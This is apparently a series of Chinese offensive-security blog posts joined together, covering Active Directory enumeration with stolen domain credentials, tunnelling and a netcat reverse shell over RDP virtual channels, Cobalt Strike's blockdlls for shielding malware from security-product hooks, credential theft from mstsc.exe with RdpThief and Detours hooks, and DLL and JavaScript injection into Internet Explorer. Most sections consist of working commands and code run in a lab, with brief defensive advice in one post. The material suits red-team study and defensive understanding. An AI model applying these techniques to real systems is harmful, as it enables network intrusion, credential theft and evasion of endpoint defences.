0x00 前言

在域渗透中,活动目录信息的获取必不可少。

本文将要以获取活动目录中所有用户、所有计算机和所有组为例,介绍常用的信息获取方法。

0x01 简介

本文将要介绍以下内容:

· 域外获取活动目录信息的方法

· 域内获取活动目录信息的方法

· 使用C++调用ADSI接口获取信息的方法

0x02 基础知识

域环境使用directory database(目录数据库)来存储用户、计算机账户和组等对象。

使用LDAP(Lightweight Directory Access Protocol)(轻量目录访问协议)来查询和更新目录数据库。

常用缩写词

· DN:Distinguished Name

· CN:Common Name

· OU:Organizational Unit

· DC:Domain Controller

其中DN有三个属性,分别是CN、OU和DC。

简单理解:

域控制器默认会开启端口389,用作LDAP服务。

0x03 域外获取活动目录信息的方法

1.Kali系统通过ldapsearch进行数据查询

测试环境如下图:

Alt text

前提:我们能够访问到域控制器(DC)的389端口,并且我们至少已经获得了域内一个普通用户的口令。

这个测试环境中,我们获得了域内普通用户testa的口令为DomainUser123!

连接命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"

参数说明:

· -x 进行简单认证

· -H 服务器地址

· -D 用来绑定服务器的DN

· -w 绑定DN的密码

· -b 指定要查询的根节点

这条命令会显示所能查询到的所有信息,如下图:

Alt text

接下来加入搜索条件,对结果进行分类。

(1)查询所有域用户

加入搜索条件:"(&(objectClass=user)(objectCategory=person))"

完整命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))"

这条命令会输出所有域用户的所有属性,如下图:

Alt text

为了便于统计名称,可以选择只列出CN(Common Name),并且使用grep命令对输出进行过滤。

命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn

结果输出如下图:

Alt text

(2)查询所有计算机

加入搜索条件:"(&(objectCategory=computer)(objectClass=computer))"

命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn

结果输出如下图:

Alt text

(3)查询所有组

加入搜索条件:"(&(objectCategory=group))"

命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn

结果输出如下图:

Alt text

2.Windows系统通过PowerView进行数据查询

测试环境如下图:

Alt text

前提:我们能够访问到域控制器(DC)的389端口,并且我们至少已经获得了域内一个普通用户的口令。

这个测试环境中,我们获得了域内普通用户testa的口令为DomainUser123!

PowerView的地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

(1)查询所有域用户

这里需要使用凭据信息,所以完整的命令如下:

$uname="testa"                                                      
$pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Get-NetUser -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred

为了便于统计名称,可以选择只列出name项,完整命令如下:

$uname="testa"                                                      
$pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Get-NetUser -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred | fl name

结果输出如下图:

Alt text

(2)查询所有计算机

$uname="testa"                                                      
$pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Get-NetComputer -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred | fl name

结果输出如下图:

Alt text

(3)查询所有组

$uname="testa"                                                      
$pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Get-NetGroup -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred | fl name

结果输出如下图:

Alt text

0x04 域内获取活动目录信息的方法

前提是已经获得了域内一台主机的权限。

测试环境如下图:

Alt text

原理:通过ADSI(ActiveDirectoryServicesInterface)(活动目录服务接口)进行LDAP查询,获得结果。

1.使用Powershell实现

参照PowerView,地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

2.使用C#实现

参照SharpView,地址:

https://github.com/tevora-threat/SharpView

3.使用C++实现

参考地址:

https://github.com/microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/netds/adsi/activedir/QueryUsers/vc

https://github.com/outflanknl/Recon-AD

微软的代码是exe的格式,只介绍了QueryUser的方法,但支持查询条件(筛选指定用户)和显示简要信息(只输出名称,便于统计)。

Recon-AD的代码是dll的格式,包含多个功能,但默认只显示详细信息。

于是我将两者的代码融合,代码支持以下功能:

· exe的格式

· 包含多个功能,支持查询用户、计算机和组等

· 支持查询条件和显示简要信息

代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/QueryADObject.cpp

代码可指定ADS path和搜索条件,用法如下:

(1)查询域用户

列出所有域用户,只显示简要的名称信息,命令如下:

QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person))" ShortData

结果输出如下图:

Alt text

查询指定用户的所有信息,命令如下:

QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person)(name=testa))" AllData

结果输出如下图:

Alt text

(2)查询计算机

列出所有计算机账户,只显示简要的名称信息,命令如下:

QueryADObject.exe Current "(&(objectCategory=computer)(objectClass=computer))" ShortData

结果输出如下图:

Alt text

查询域控制器的详细信息,需要知道ADS path为"OU=Domain Controllers,DC=test,DC=com",命令如下:

QueryADObject.exe "OU=Domain Controllers,DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" AllData

结果输出如下图:

Alt text

(3)查询组

列出所有组,只显示简要的名称信息,命令如下:

QueryADObject.exe Current "(&(objectCategory=group))" ShortData

列出管理员组的详细信息,命令如下:

QueryADObject.exe Current "(&(objectCategory=group)(name=Domain Admins))" Alldata

结果输出如下图:

Alt text

(4)查询OU

列出所有OU,只显示简要的名称信息,命令如下:

QueryADObject.exe Current "(&(objectCategory=organizationalUnit))" ShortData

结果输出如下图:

Alt text

0x05 小结

本文以获取活动目录中所有用户、所有计算机和所有组为例,分别介绍了从域外和域内获取信息的方法。

0x00 前言

最近从@cpl3h的博客中学到了使用远程桌面协议建立通道的方法。

本文将对这个方法进行整理,结合自己的经验,添加个人理解。

学习地址:

https://ijustwannared.team/2019/11/07/c2-over-rdp-virtual-channels/

0x01 简介

本文将要介绍以下内容:

· 使用场景

· 使用共享文件建立通道

· 使用rdp2tcp建立通道

· 使用UniversalDVC建立通道

· 利用分析

· 防御建议

0x02 使用场景

由于防火墙的设置,只能连接一台Windows服务器的远程桌面,那么如何以这台Windows服务器为跳板进入内网。

简要描述如下图:

1-1.png

0x03 使用共享文件建立通道

通过读写RDP Client和RDP Server之间共享的文件作为数据传输的通道。

POC:

https://github.com/outflanknl/external_c2

这是根据Cobalt Strike中External C2规范编写的POC。

实现原理:

建立远程桌面连接时,RDP Client和RDP Server之间可以创建共享文件夹,通过读写共享文件作为数据传输的通道。

1.Windows系统连接远程桌面并开启文件共享

(1)通过配置mstsc.exe开启文件共享

如下图:

1-2.png

(2)使用FreeRDP开启文件共享

下载地址:

https://cloudbase.it/freerdp-for-windows-nightly-builds/

命令实例:

wfreerdp /v:192.168.112.129:3389 -u:1 -p:Test123! /cert-ignore /drive:share1,c:\

2.Kali系统连接远程桌面并开启文件共享

(1)使用xfreerdp开启文件共享

将本地文件夹/tmp共享的命令如下:

xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /drive:share1,/tmp

(2)使用rdesktop开启文件共享

将本地文件夹/tmp共享的命令如下:

rdesktop 192.168.112.129 -u1 -pTest123! -r disk:share1=/tmp

在RDP Server上,可通过\\tsclient\访问共享的文件资源。

通过文件读写来传输数据的具体细节可参考xpn的文章:

https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/

0x04 使用rdp2tcp建立通道

rdp2tcp使用RDP虚拟通道功能来复用端口。

可用的功能:

· 正向TCP端口转发

· 反向TCP端口转发

· 处理标准输入/输出转发

· SOCKS5代理

POC:

https://github.com/V-E-O/rdp2tcp

测试系统: Kali2 x64

1.下载并编译rdp2tcp

(1)安装mingw-w64

命令如下:

apt-get install mingw-w64

(2)下载rdp2tcp

git clone https://github.com/V-E-O/rdp2tcp.git
cd rdp2tcp

(3)修改配置文件

rdp2tcp默认不支持编译64位的exe,所以这里需要修改配置文件,增加编译64位exe的配置信息。

修改文件Makefile,新的内容如下:

all: client server-mingw64

client: client/rdp2tcp
client/rdp2tcp:
	make -C client

#server-mingw32: server/rdp2tcp.exe
#server/rdp2tcp.exe:
#	make -C server -f Makefile.mingw32

server-mingw64: server/rdp2tcp64.exe
server/rdp2tcp64.exe:
	make -C server -f Makefile.mingw64

clean:
	make -C client clean
#	make -C server -f Makefile.mingw32 clean
	make -C server -f Makefile.mingw64 clean
	make -C tools clean

注:

因为我们使用了64位的操作系统,并且安装了64位的mingw,所以这里设置为生成64位的exe。

新建文件/server/Makefile.mingw64,内容如下:

BIN=rdp2tcp64.exe
CC=i686-w64-mingw32-gcc
CFLAGS=-Wall -g \
		 -D_WIN32_WINNT=0x0501 \
		 -I../common

# -D_WIN32_WINNT=0x0501
# -D_WIN32_WINNT=0x0501 -DDEBUG

LDFLAGS=-lwtsapi32 -lws2_32
OBJS=	../common/iobuf.o \
	../common/print.o \
	../common/msgparser.o \
	../common/nethelper.o \
	../common/netaddr.o \
	errors.o aio.o events.o \
	tunnel.o channel.o process.o commands.o main.o

all: clean_common $(BIN)

clean_common:
	$(MAKE) -C ../common clean

$(BIN): $(OBJS)
	$(CC) -o [email protected] $(OBJS) $(LDFLAGS) 

%.o: %.c
	$(CC) $(CFLAGS) -o [email protected] -c $<

clean:
	rm -f $(OBJS) $(BIN)

(4)编译

命令如下:

make

生成以下文件:

· /server/rdp2tcp64.exe

· /client/rdp2tcp

2.安装xfreerdp

Kali系统默认安装的xfreerdp不支持TCP重定向的功能。

如下图:

2-2.png

如果支持TCP重定向的功能,程序回显的内容如下:

2-1.png

需要重新下载编译xfreerdp,这里我使用的版本是freerdp-nightly。

参考链接:

https://ci.freerdp.com/job/freerdp-nightly-binaries/

这里我使用的发行版为bionic,完整的安装命令如下:

echo "deb http://pub.freerdp.com/repositories/deb/bionic/ freerdp-nightly main " >>/etc/apt/sources.list
wget -O - http://pub.freerdp.com/repositories/ADD6BF6D97CE5D8D.asc | sudo apt-key add -
apt-get update
apt-get install freerdp-nightly

对应的安装路径为/opt/freerdp-nightly。

启动新版的xfreerdp,对应的路径为: /opt/freerdp-nightly/bin/xfreerdp。

新版的xfreerdp支持TCP重定向,如下图:

2-3.png

3.使用xfreerdp连接远程桌面并建立通道

这里介绍正向TCP端口转发的方法。

(1)执行xfreerdp并开启TCP重定向功能

Kali系统上执行:

/opt/freerdp-nightly/bin/xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /rdp2tcp:/root/rdp2tcp/client/rdp2tcp

(2)将rdp2tcp64.exe上传至RDP Server并执行(不需要管理员权限)

执行结果如下图:

2-4.png

(3)在Kali系统上启动rdp2tcp.py

命令如下:

cd rdp2tcp/tools
python rdp2tcp.py

添加正向端口转发(本地445->192.168.112.129:445)的命令如下:

python rdp2tcp.py add forward 127.0.0.1 445 192.168.112.129 445

输出结果如下图:

3-1.png

(4)访问本地445端口

访问本地445端口的数据被转发至192.168.112.129的445端口,如下图:

3-2.png

正向端口转发建立成功。

0x05 使用UniversalDVC建立通道

UniversalDVC是以注册UDVC插件的形式,使用动态虚拟通道建立通道。

POC:

https://github.com/earthquake/UniversalDVC

测试系统: Win7 x64

1.安装UDVC插件

下载编译好的64位文件,地址如下:

https://github.com/earthquake/UniversalDVC/files/1880297/UDVC-x64.zip

将其中64位的dll保存在%windir%\system32下。

注册dll的命令如下:

regsvr32.exe UDVC-Plugin.x64.dll

如下图:

4-1.png

UDVC插件注册后将创建注册表项用来保存配置信息。

配置文件的位置:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin

默认监听的端口为31337

注:在RDP Server启动UDVC-Server.exe后,UDVC插件才会开启监听端口。

2.实现端口转发的功能

(1)将Mode设置为Socket server mode (0 – default)

修改注册表的cmd命令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 0 /f

(2)设置监听端口为1234

修改注册表的cmd命令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f

(3)启动远程桌面客户端

命令如下:

mstsc.exe

连接远程桌面。

(4)RDP Server启动UDVC-Server.exe

命令如下:

UDVC-Server.x64.exe -c -p 80 -i 192.168.112.129 -0

(5)RDP Client打开浏览器并访问http://127.0.0.1:1234

获得内网192.168.112.129:80的数据。

通道建立完成,简要流程图如下图:

4-2.png

3.实现反弹shell的功能

RDP Server反弹一个shell至RDP Client。

RDP Client能够实时控制RDP Server,执行cmd命令。

(1)将Mode设置为Socket client mode (1)

修改注册表的cmd命令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 1 /f

(2)设置监听端口为1234

修改注册表的cmd命令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f

(3)启动远程桌面客户端

命令如下:

mstsc.exe

连接远程桌面。

(4)RDP Client使用nc监听本地端口1234

命令如下:

nc64.exe -lvp 1234

(5)RDP Server启动UDVC-Server.exe

命令如下:

UDVC-Server.x64.exe -p 5678 -0

此时将建立一条动态虚拟通道:RDP Server->RDP Client:1234

并且RDP Server开启监听端口5678。

(6)RDP Server使用nc连接本地端口5678并指定重定向的程序为c:\windows\system32\cmd.exe

命令如下:

nc64.exe 127.0.0.1 5678 -e c:\windows\system32\cmd.exe

通道建立完成,简要流程图如下图:

4-3.png

0x06 利用分析

对于这三种建立通道的方法(共享文件、rdp2tcp和UniversalDVC),利用前提是已经获得了连接远程桌面的权限。

严格地说,利用这台远程桌面服务器,就已经能够对内网资源进行访问。

研究这种方法的意义在于某些情况下远程桌面服务器无法运行我们的程序。

例如远程桌面服务器为Windows系统,而我们想执行的程序只支持Linux,这就避免了考虑程序移植的问题。

0x07 防御建议

1.外网远程桌面服务器的安全

如果攻击者能够使用远程桌面协议建立通道,代表攻击者已经获得了这台服务器的权限,所以对于开放外网访问的远程桌面服务器,不仅要及时更新补丁,还要注意防范口令爆破

2.使用组策略禁用重定向的设备

组策略位置:

Computer Configuration->Administrative Templates->Windows Components->Remote Desktop Services->Remote Desktop Session Host->Device and Resource Redirection

0x08 小结

本文参考@cpl3h的文章,对使用远程桌面协议建立通道的方法进行整理,结合自己的经验,添加个人理解,分析利用思路,总结防御建议。

0x00 前言

Cobalt Strike 3.14添加了blockdlls功能,限定子进程只能加载带有Microsoft签名的dll。

这个功能可以阻止第三方安全软件向子进程注入dll,也就无法对子进程进行hook,最终起到保护子进程的效果。

XPN在他的博客中也介绍了相关内容,地址如下:

https://blog.xpnsec.com/protecting-your-malware/

本文将要扩展blockdlls的利用方法,分别介绍查看进程是否开启blockdlls和修改当前进程开启blockdlls的方法,比较Win8和Win10系统在使用上的区别,开源c代码,分享脚本编写的细节。

0x01 简介

本文将要介绍以下内容:

· Cobalt Strike中的blockdlls

· 查看进程是否开启blockdlls的方法

· 修改当前进程,开启blockdlls的方法

· Win8和Win10系统在使用上的区别

· 利用分析

0x02 Cobalt Strike中的blockdlls

Cobalt Strike中的blockdlls将会创建一个子进程并开启blockdlls功能。

XPN在博客中分享了实现同样功能的c代码,地址如下:

https://blog.xpnsec.com/protecting-your-malware/

代码如下:

#include <Windows.h>

int main()
{
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size = 0;
    BOOL ret;

    // Required for a STARTUPINFOEXA
    ZeroMemory(&si, sizeof(si));
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);

    // Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(),
        0,
        size
    );

    // Initialise our list 
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

    // Enable blocking of non-Microsoft signed DLLs
    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;

    // Assign our attribute
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);

    // Finally, create the process
    ret = CreateProcessA(
        NULL,
        (LPSTR)"C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );
}

通过STARTUPINFOEX结构体指定了要创建子进程的安全策略(开启PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON),这个安全策略起到了阻止加载非Microsoft签名dll的作用。

生成子进程后,使用ProcessHacker能够看到开启blockdlls功能的提示,如下图:

image.png

image.png

开启blockdlls功能后,尝试对这个进程进行dll注入,注入的代码可参考:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/NtCreateThreadEx %2B LdrLoadDll.cpp

注入时报错,提示如下图:

image.png

成功复现Cobalt Strike中blockdlls的功能。

接来下,需要找到这个功能相关的细节。

经过一些搜索,找到了相关API GetProcessMitigationPolicy(),能够用来读取进程的安全策略。

资料如下:

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getprocessmitigationpolicy

签名策略对应的结构体为PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY,资料如下:

https://docs.microsoft.com/zh-cn/windows/win32/api/winnt/ns-winnt-process_mitigation_binary_signature_policy

资料显示该API支持的最低系统为Win8,这里猜测API GetProcessMitigationPolicy()同blockdlls支持的操作系统版本应该相同。

经过测试,发现Cobalt Strike中blockdlls支持的系统最低为Win8。

0x03 查看进程是否开启blockdlls的方法

开启blockdlls等同于进程开启了安全策略ProcessSignaturePolicy(启用MicrosoftSignedOnly功能)。

可以使用API GetProcessMitigationPolicy()获取进程的安全策略,判断是否开启blockdlls功能。

使用API GetProcessMitigationPolicy()能够查询进程的多个安全策略,参考资料:

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getprocessmitigationpolicy

按照API的调用格式尝试编写代码,代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/GetProcessMitigationPolicyForWin10.cpp

代码能够查询指定进程的所有安全策略。

在Win10系统测试没有问题,如下图:

image.png

在Win8系统(Server2012也一样)测试,无法获得安全策略ProcessSignaturePolicy的信息,而ProcessHacker在Win8系统不存在这个问题。

通过查看ProcessHacker的源码,找到解决方法:

这里需要通过NtQueryInformationProcess()实现。

Win8系统下可用的完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/GetProcessMitigationPolicyForWin8.cpp

代码能够查询Win8系统下指定进程的所有安全策略,需要注意的是Win8系统不支持以下安全策略:

· ControlFlowGuardPolicy

· FontDisablePolicy

· ImageLoadPolicy

· SystemCallFilterPolicy

· PayloadRestrictionPolicy

· ChildProcessPolicy

· SideChannelIsolationPolicy

在Win8系统测试没有问题,如下图:

image.png

0x04 修改当前进程,开启blockdlls的方法

修改当前进程开启blockdlls等同于修改当前进程的安全策略ProcessSignaturePolicy(启用MicrosoftSignedOnly功能)。

可以先使用API GetProcessMitigationPolicy()获取进程的安全策略,再通过API SetProcessMitigationPolicy()修改安全策略ProcessSignaturePolicy(启用MicrosoftSignedOnly功能)。

按照API的调用格式尝试编写代码,代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/SetProcessMitigationPolicy(Signature)ForWin10_CurrentProcess.cpp

代码能够修改当前进程的安全策略,启用MicrosoftSignedOnly功能。

在Win10系统测试没有问题。

在Win8系统(Server2012也一样)测试,出现问题,无法修改。

解决方法同上:

通过NtSetInformationProcess()实现。

Win8系统下可用的完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/SetProcessMitigationPolicy(Signature)ForWin8_CurrentProcess.cpp

代码能够修改Win8系统下当前进程的安全策略,开启blockdlls。

0x05 利用分析

开启blockdlls等同于进程开启安全策略ProcessSignaturePolicy(启用MicrosoftSignedOnly功能),不仅可以应用到子进程,还可以应用到当前进程。

支持系统:Win8-Win10

开启blockdlls后,可以阻止第三方安全软件向此进程注入dll,也就无法对进程进行hook,最终起到保护进程的效果。

在Win8系统,需要使用NtQueryInformationProcess()和NtSetInformationProcess()进行查看和修改安全策略。

无法使用NtSetInformationProcess()修改远程进程的安全策略,报错提示c000000d(STATUS_ILLEGAL_INSTRUCTION)。

无法通过Authenticode签名伪造——PE文件的签名伪造与签名验证劫持 和Catalog签名伪造——Long UNC文件名欺骗绕过blockdlls的保护。

0x06 小结

本文扩展了blockdlls的利用方法,分别介绍查看进程是否开启blockdlls和修改当前进程开启blockdlls的方法,比较Win8和Win10系统在使用上的区别,开源c代码,分享脚本编写的细节,总结利用思路。

0x00 前言

在之前的文章《渗透技巧——获得Windows系统的远程桌面连接历史记录》曾介绍了获得远程桌面连接历史记录的方法。

在实际的渗透过程中,如果发现了远程桌面连接的历史记录,那么下一步就需要想办法获取远程桌面连接使用的口令。

本文将会结合RdpThief介绍从远程桌面客户端提取明文凭据的方法,分享需要注意的细节。

RdpThief地址:

https://github.com/0x09AL/RdpThief

0x01 简介

本文将要介绍以下内容:

· 获取远程桌面连接口令的思路

· 使用Detours库hook系统API的方法

· 使用API monitor监控系统API调用的方法

· 使用RdpThief从远程桌面客户端提取明文凭据

0x02 获取远程桌面连接口令的思路

通常有以下两种:

1.使用键盘记录程序,记录mstsc.exe在启动过程中用户输入的口令。

2.在mstsc.exe启动时,读取mstsc.exe的内存数据,提取出用户输入的口令。

RdpThief是第二种实现思路,使用Detours库hook系统API,使用API monitor监控系统的API调用,找到mstsc.exe在内存中存储明文口令的位置,代码简洁有效。

0x03 使用Detours库hook系统API的方法

RdpThief在实现上使用Detours库来hook系统API,所以这里简要介绍一下Detours库的用法。

Detours库用于监视和检测Windows上的API调用,可以用来hook系统API。

这里介绍使用Detours库hook系统API的两种方法。

1.编译Detours源码并使用

(1)编译Detours源码

下载Detours源码,地址如下:

https://github.com/Microsoft/Detours

使用Visual Studio编译Detours源码(这里以VS2015为例),需要区分32位和64位。

64位编译:

打开VS2015 x64 本机工具命令提示符。

执行以下命令:

cd Detours-master\src
nmake

命令执行后将在文件夹Detours-master下生成以下三个文件夹,包括Detours的头文件和库文件。

· bin.X64

· include

· lib.X64

32位编译:

打开VS2015本机工具命令提示符。

执行以下命令:

cd Detours-master\src
nmake

命令执行后将在文件夹Detours-master下生成以下三个文件夹,包括Detours的头文件和库文件。

· bin.X86

· include

· lib.X86

(2)导入Detours

在新建的C++工程中添加对应版本的头文件:

· detours.h

· detours.lib

代码如下:

#include "detours.h"
#pragma comment (lib,"detours.lib")

2.通过Install-Package自动安装

(1)安装

在Visual Studio中选择工具->NuGet包管理器->程序包管理器控制台。

输入安装命令:

Install-Package Detours

将会自动安装Detours库,如下图:

Alt text

(2)导入Detours

代码如下:

#include <detours.h>
#pragma comment (lib,"detours.lib")

使用Detours库hook系统API时常用的几个函数:

· DetourTransactionBegin();

· DetourUpdateThread(GetCurrentThread());

· DetourAttach();

· DetourDetach();

· DetourTransactionCommit()

Hook系统API Messagebox()的实例代码如下:

#include <Windows.h>
#include <detours.h>
#pragma comment (lib,"detours.lib")
static int(WINAPI *TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox;
int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
	return TrueMessageBox(NULL, L"Hooked", lpCaption, 0);
}
int main()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox);
	DetourTransactionCommit();
	MessageBox(NULL, L"Hello", L"Hello", 0);
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox); 
	DetourTransactionCommit();
}

0x04 使用API monitor监控系统API调用的方法

RdpThief使用API monitor监控系统的API调用,找到mstsc.exe在内存中存储明文口令的位置,这里简要介绍一下API monitor的用法。

API monitor的下载地址:

http://www.rohitab.com/downloads

运行后需要选择进行监控的模块,如下图:

Alt text

接着选择需要监控的进程,如下图:

Alt text

API monitor将会监控进程运行时调用的API,如下图:

Alt text

0x05 RdpThief测试

介绍RdpThief细节的文章:

https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/

RdpThief的代码里包括三部分内容:

1.C++工程,编译生成dll

编译生成的dll,需要注入到mstsc.exe进程中。

这里可以使用我之前写的dll注入的代码,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/NtCreateThreadEx %2B LdrLoadDll.cpp

但是需要把FreeDll()的功能去掉,dll需要一直在进程mstsc.exe的内存中,用来记录用户输入的口令。

2.RdpThief_x64.tmp

shellcode格式的dll,作者使用sRDI将编译好的dll转换为shellcode格式,便于cna脚本的调用。

3.RdpThief.cna

Colbalt Strike使用的cna脚本,用于注入shellcode格式的dll。

支持三个命令:

· rdpthief_enable,每5秒搜索mstsc.exe并将dll注入

· rdpthief_disable,停止rdpthief_enable,但不会卸载注入的dll

· rdpthief_dump,显示抓取的凭据,默认读取路径为%temp%\data.bin

实际测试

预期功能:

在mstsc.exe中输入用户名口令后,无论是否正确,都会被记录在文件%temp%\data.bin中。

1.在Win10下没有问题。

2.在Win7下能够获得输入的用户名和口令,但无法获得Server名称。

查找问题原因:

RdpThief在实现上通过捕获API SspiPrepareForCredRead()获得Server名称。

在Win7系统下,我使用API monitor监控系统调用的API,发现不存在这个API,如下图:

Alt text

找到问题的原因

解决方法1:

通过搜索,发现API CredReadW() 能够记录Server名称,如下图:

Alt text

所以可以尝试hook API CredReadW ,示例代码如下:

static BOOL(WINAPI *OriginalCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;
BOOL HookedCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential)
{
	lpServer = TargetName;
	return OriginalCredReadW(TargetName, Type, Flags, Credential);
}

添加Attach和Detach代码:

DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);

解决方法2:

远程桌面建立连接后会在注册表保存远程桌面连接的记录,这里可以通过读取远程桌面连接的历史记录获得Server名称。

使用的脚本地址:

https://github.com/3gstudent/List-RDP-Connections-History/blob/master/ListLogged-inUsers.ps1

0x06 小结

本文介绍了使用Detours库hook系统API和使用API monitor监控系统API调用的方法,测试RdpThief,分享在Win7下使用时获得Server名称的方法,实现了从远程桌面客户端提取明文凭据。

0x00 前言

Invoke-PowerThIEf是一个开源的Powershell脚本,不仅能够用来对IE浏览器窗口的内容进行操作,还能通过Hook的方法捕获IE浏览器的凭据。

地址如下:

https://github.com/nettitude/Invoke-PowerThIEf

本文将要对Invoke-PowerThIEf的功能进行测试,分享在Win7 sp1 x64下的使用方法,结合自己的经验,分析利用思路。

0x01 简介

本文将要介绍以下内容:

· 功能测试

· Win7Sp1下的使用方法

· 利用分析

0x02 功能测试

Invoke-PowerThIEf需要的环境配置如下:

· IE 11

· Win 7-10

· .Net 4.0+

· Powershell 4.0

考虑到以下原因:

· Window7或Windows Server 2008,默认安装PowerShell 2.0

· Windows8或Windows server 2012,默认安装PowerShell 3.0

· Windows 8.1或Windows server 2012 R2,默认安装PowerShell 4.0

首先选择Windows server 2012 R2 x64作为测试环境,可直接运行。

常用功能如下:

(1)列出IE浏览器的所有页面

Invoke-PowerThIEf -action ListUrls

(2)在IE进程中加载dll

示例如下:

Invoke-PowerThIEf -action ExecPayload -PathPayload calc_x64.dll

默认会在所有页面中执行加载dll的操作,并且会新建新的页面。

例如:

如果当前IE进程有3个页面,执行该操作后会执行3次加载dll的操作,并且会在IE浏览器中新建3个页面。

个人认为该功能的效果有限。

(3)向IE页面中插入JavaScript代码并执行

针对所有页面:

Invoke-PowerThIEf -action InvokeJS -Script <JavaScript to run>

针对指定页面:

Invoke-PowerThIEf -action InvokeJS -BrowserIndex <BrowserIndex> -Script <JavaScript to run>

注:

<BrowserIndex>可通过ListUrls命令获得。

示例如下:

Invoke-PowerThIEf -action InvokeJS -Script 'alert(document.location.href);'

Invoke-PowerThIEf -action InvokeJS -BrowserIndex 132572 -Script "alert(`"1`");"

